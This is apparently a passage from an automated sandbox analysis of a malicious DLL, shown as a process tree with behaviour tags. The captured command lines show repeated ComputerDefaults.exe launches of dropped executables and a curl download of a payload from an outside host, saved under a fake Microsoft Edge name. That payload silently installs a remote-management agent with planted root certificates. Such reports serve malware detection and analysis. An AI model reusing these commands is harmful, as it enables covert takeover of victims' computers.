to memory of 2632 4208 UEMSAgentHealthChecker.exe 179 PID 4208 wrote to memory of 1572 4208 UEMSAgentHealthChecker.exe 181 PID 4208 wrote to memory of 1008 4208 UEMSAgentHealthChecker.exe 183 PID 456 wrote to memory of 3564 456 dcpatchscan.exe 186 PID 456 wrote to memory of 1792 456 dcpatchscan.exe 188 PID 456 wrote to memory of 3328 456 dcpatchscan.exe 245 PID 456 wrote to memory of 4000 456 dcpatchscan.exe 192 PID 4408 wrote to memory of 2496 4408 dcagentservice.exe 194 PID 456 wrote to memory of 3192 456 dcpatchscan.exe 195 PID 456 wrote to memory of 1360 456 dcpatchscan.exe 197 PID 1020 wrote to memory of 4748 1020 dcconfig.exe 199 PID 456 wrote to memory of 2748 456 dcpatchscan.exe 201 PID 456 wrote to memory of 692 456 dcpatchscan.exe 203 PID 456 wrote to memory of 4404 456 dcpatchscan.exe 205 PID 456 wrote to memory of 4068 456 dcpatchscan.exe 216 PID 1020 wrote to memory of 3076 1020 dcconfig.exe 232 PID 952 wrote to memory of 3740 952 rundll32.exe 211 PID 3740 wrote to memory of 3252 3740 cmd.exe 213 PID 3252 wrote to memory of 4488 3252 ComputerDefaults.exe 214
Processes
-
C:\Windows\system32\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\ARPHADUMP.dll,#11⤵
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe C:\Users\Admin\AppData\Local\Temp\ARPHADUMP.dll,#12⤵
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:952 -
C:\Windows\SysWOW64\cmd.exe/c "C:\Windows\System32\ComputerDefaults.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4172 -
C:\Windows\SysWOW64\ComputerDefaults.exeC:\Windows\System32\ComputerDefaults.exe4⤵
- Suspicious use of WriteProcessMemory
PID:60 -
C:\ProgramData\WVITZZkLcPEUyHcwcGAyVmbmiafYhImW.NHU\qwVpfHkYFmyaIAicytRukgJaeBAlLgSi.pGX.exe"qwVpfHkYFmyaIAicytRukgJaeBAlLgSi.pGX.exe"5⤵
- Executes dropped EXE
PID:3204
-
-
-
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" -L -s -o "C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" "https://gushilaona.oss-ap-southeast-5.aliyuncs.com/setup.exe"3⤵
- Downloads MZ/PE file
PID:4360
-
-
C:\Windows\SysWOW64\cmd.exe/c "C:\Windows\System32\ComputerDefaults.exe"3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4164 -
C:\Windows\SysWOW64\ComputerDefaults.exeC:\Windows\System32\ComputerDefaults.exe4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1440 -
C:\ProgramData\CWhEWEqFWMWfLMRlkdWbjAYEPruOLhaB.kzH\SwFpcVdiiUkqosIzfKXErpPDJdSUaNbj.kDc.exe"SwFpcVdiiUkqosIzfKXErpPDJdSUaNbj.kDc.exe"5⤵
- Executes dropped EXE
PID:5096
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe"C:\Users\Admin\AppData\Local\Temp\MicrosoftEdge_X64_153.0.3157.719.exe" /S /norestart3⤵
- Checks computer location settings
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4652 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\RarSFX0\SetUP.VBS"4⤵
- Checks computer location settings
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
PID:2848 -
C:\Windows\System32\msiexec.exe"C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.msi" TRANSFORMS="C:\Users\Admin\AppData\Local\Temp\RarSFX0\UEMSAgent.mst" ENABLESILENT=yes REBOOT=ReallySuppress INSTALLSOURCE=Manual SERVER_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA-Server.crt" DS_ROOT_CRT="C:\Users\Admin\AppData\Local\Temp\RarSFX0\DMRootCA.crt" /qn /norestart /lv "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Agentinstalllog.txt"5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3224
-
-
-
-
C:\Windows\SysWOW64\cmd.exe/c "C:\Windows\System32\ComputerDefaults.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\SysWOW64\ComputerDefaults.exeC:\Windows\System32\ComputerDefaults.exe4⤵
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\ProgramData\DJhdFBYCyRcANdzUsYZISAmCWGrZTOcX.Kyu\LHDMlOHUtuiBrsxHOUlUUppooiJxNQpD.zZh.exe"LHDMlOHUtuiBrsxHOUlUUppooiJxNQpD.zZh.exe"5⤵
- Executes dropped EXE
PID:4176
-
-
-
-
C:\Windows\SysWOW64\cmd.exe/c "C:\Windows\System32\ComputerDefaults.exe"3⤵
- Suspicious use of WriteProcessMemory
PID:3740 -
C:\Windows\SysWOW64\ComputerDefaults.exeC:\Windows\System32\ComputerDefaults.exe4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3252 -
C:\ProgramData\fdONliqLXgiEqllVQlxFbBLyBxaDNSLz.IQl\xjSpZLqyGlEUZETnWWNUPQpWhrWpjXej.oPN.exe"xjSpZLqyGlEUZETnWWNUPQpWhrWpjXej.oPN.exe"5⤵
- Executes dropped EXE
PID:4488
-
-
-
-
C:\Windows\SysWOW64\cmd.exe/c "C:\Windows\System32\ComputerDefaults.exe"3⤵
- System Location Discovery: System Language Discovery
PID:1204 -
C:\Windows\SysWOW64\ComputerDefaults.exeC:\Windows\System32\ComputerDefaults.exe4⤵
- System Location Discovery: System Language Discovery
PID:1568 -
C:\ProgramData\etYgfdcQdipHuQHNiminIZNPxbsqNMlK.bwj\UGrdoEFRPcCDjBOebsJacybwBQhvJEdR.kHx.exe"UGrdoEFRPcCDjBOebsJacybwBQhvJEdR.kHx.exe"5⤵PID:972
-
-
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:448 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0B8CD4298608782F01B7CDCEA0E5A0062⤵
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:1660
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -i dc2⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:4480 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\ManageEngine\UEMS_Agent\scripts\setAppPermission_Internal.bat" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\""3⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:3100 -
C:\Windows\SysWOW64\net.exenet session4⤵
- Suspicious use of WriteProcessMemory
PID:812 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 session5⤵PID:3044
-
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant *S-1-5-18:(OI)(CI)F /T /Q /grant *S-1-5-32-544:(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3792
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /grant:r "IPHXUVFW\Admin":(OI)(CI)F /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3132
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /inheritance:r4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2568
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g "CREATOR OWNER" /T /Q /remove:g "BUILTIN\Users" /T /Q /remove:g *S-1-15-2-1 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:2260
-
-
C:\Windows\SysWOW64\icacls.exe"C:\Windows\system32\icacls.exe" "C:\Program Files (x86)\ManageEngine\UEMS_Agent\logs\" /remove:g *S-1-5-11 /T /Q /remove:g *S-1-15-2-2 /T /Q4⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4724
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json""3⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4616 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\data\OSDetection.json.gz" -so4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3512
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za e -mx9 "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\agent_binaries.7z" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\" -y3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
PID:2900
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e -aoa "C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\locale_resources.zip" -o"C:\Program Files (x86)\ManageEngine\UEMS_Agent\data\resources\"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4724
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcstatusutil.exe" -install 223⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
PID:2460
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcinventory.exebin\dcinventory.exe -i postinstallation 0 13⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies trusted root certificate store through registry
- System Location Discovery: System Language Discovery
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
- Modifies system certificate store
- Suspicious use of WriteProcessMemory
PID:3180 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcmetroapps.exedcmetroapps.exe4⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:4400
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentregister.exe" -p dc3⤵
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4216 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcpatchscan.exebin\dcpatchscan.exe -y 14⤵
- Executes dropped EXE
- Drops file in Program Files directory
- Modifies data under HKEY_USERS
- Suspicious use of WriteProcessMemory
PID:456 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" *5⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:3564
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcdriverupdates.dll.gz" dcdriverupdates.dll5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:1792
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" *5⤵
- Executes dropped EXE
PID:3328
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\dcpatchutils.dll.gz" dcpatchutils.dll5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4000
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" *5⤵
- Executes dropped EXE
PID:3192
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\drvforceupdate.exe.gz" drvforceupdate.exe5⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:1360
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-scan-data.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2748
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchutils.json.gz" *5⤵
- Executes dropped EXE
PID:692
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "superseded-tree-scan-data.7z" superseded-tree-scan-data.xml5⤵
- Executes dropped EXE
- Drops file in Program Files directory
PID:4404
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.xml.gz" *5⤵
- Executes dropped EXE
PID:4068
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\hardware.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:4340 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:4068
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.xml.gz" *5⤵
- Executes dropped EXE
PID:3944
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchtodepfiles.xml.gz" *5⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:3336
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\EPMErrorCodes.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2244
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patch-dependency-details.xml.gz" *5⤵
- Executes dropped EXE
PID:1476
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\ud-supported-patch-details.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:784
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\patchresource.json.gz" *5⤵
- Executes dropped EXE
PID:2664
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\applications.json.gz" *5⤵
- Executes dropped EXE
PID:2988
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\eol-service-packs.json.gz" *5⤵
- Executes dropped EXE
PID:4952
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\patch-resources\os-servicing-data.json.gz" *5⤵
- Executes dropped EXE
PID:2760 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:3328
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\misconfig-scan-data.xml.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:3704
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-details.json.gz" *5⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:916
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\patchresource-vul.xml.gz" *5⤵
- System Location Discovery: System Language Discovery
PID:404
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\applications-vul.xml.gz" *5⤵PID:3132
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" *5⤵PID:3208
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\coveragex.exe.gz" coveragex.exe5⤵
- System Location Discovery: System Language Discovery
PID:1204
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" *5⤵PID:2244
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\MisconfigEngine.dll.gz" MisconfigEngine.dll5⤵
- System Location Discovery: System Language Discovery
PID:2828
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" *5⤵
- System Location Discovery: System Language Discovery
PID:2776 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:4824
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\ServerDetectionChecks.dll.gz" ServerDetectionChecks.dll5⤵
- System Location Discovery: System Language Discovery
PID:4600 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:4452
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\7za.exe" x -y "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data\vulnerable-resources\component-scan-data\windows-component-details.zip" *5⤵
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
PID:524 -
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV16⤵PID:3704
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json""5⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
PID:1764 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-details.json.gz" -so6⤵PID:3380
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3152 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\component-meta-data.json.gz" -so6⤵PID:784
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:2352 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\java-component-details.json.gz" -so6⤵
- System Location Discovery: System Language Discovery
PID:4684
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json""5⤵
- Executes a command shell one-liner
PID:616 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\npm-component-details.json.gz" -so6⤵
- System Location Discovery: System Language Discovery
PID:4068
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json""5⤵
- Drops file in Program Files directory
- Executes a command shell one-liner
PID:2416 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\php-component-details.json.gz" -so6⤵
- System Location Discovery: System Language Discovery
PID:4316
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c "7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so>"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json""5⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
PID:3952 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\7za.exe7za.exe e "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\client-data/vulnerable-resources/component-scan-data\python-component-details.json.gz" -so6⤵
- System Location Discovery: System Language Discovery
PID:1652
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\meaap.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\\bin\meaap.exe" -m 1 -a 7093261d-e605-4137-be02-f2a185eeaad25⤵PID:1660
-
-
C:\Windows\system32\CompatTelRunner.exe"C:\Windows\system32\CompatTelRunner.exe" -m:appraiser.dll -f:DoScheduledTelemetryRun5⤵PID:752
-
C:\Windows\system32\compattelrunner.exeC:\Windows\system32\compattelrunner.exe -m:GeneralTel.dll -f:RunGeneralTelemetry -cV oLagtz4OVEybc+yX.1 -SendFullTelemetry -ThrottleUtc -FullSync6⤵PID:9000
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /C systeminfo.exe > "C:\Program Files (x86)\ManageEngine\UEMS_Agent\\logs\systeminfo.log"4⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3948 -
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe5⤵
- Gathers system information
PID:2324
-
-
-
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
PID:2724
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcagentservice.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4408 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\CRU_Reporter.exeCRU_Reporter.exe -RegisterCRU2⤵
- Executes dropped EXE
PID:4304
-
-
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusbsummary.exe" -s ET_ENUM 9 2 "Unknown"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks SCSI registry key(s)
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1272 -
C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe"C:\Program Files (x86)\ManageEngine\UEMS_Agent\bin\dcusb64.exe" -s 93⤵
- Executes dropped EXE
- Checks SCSI registry key(s)
PID:5032
-
-
-
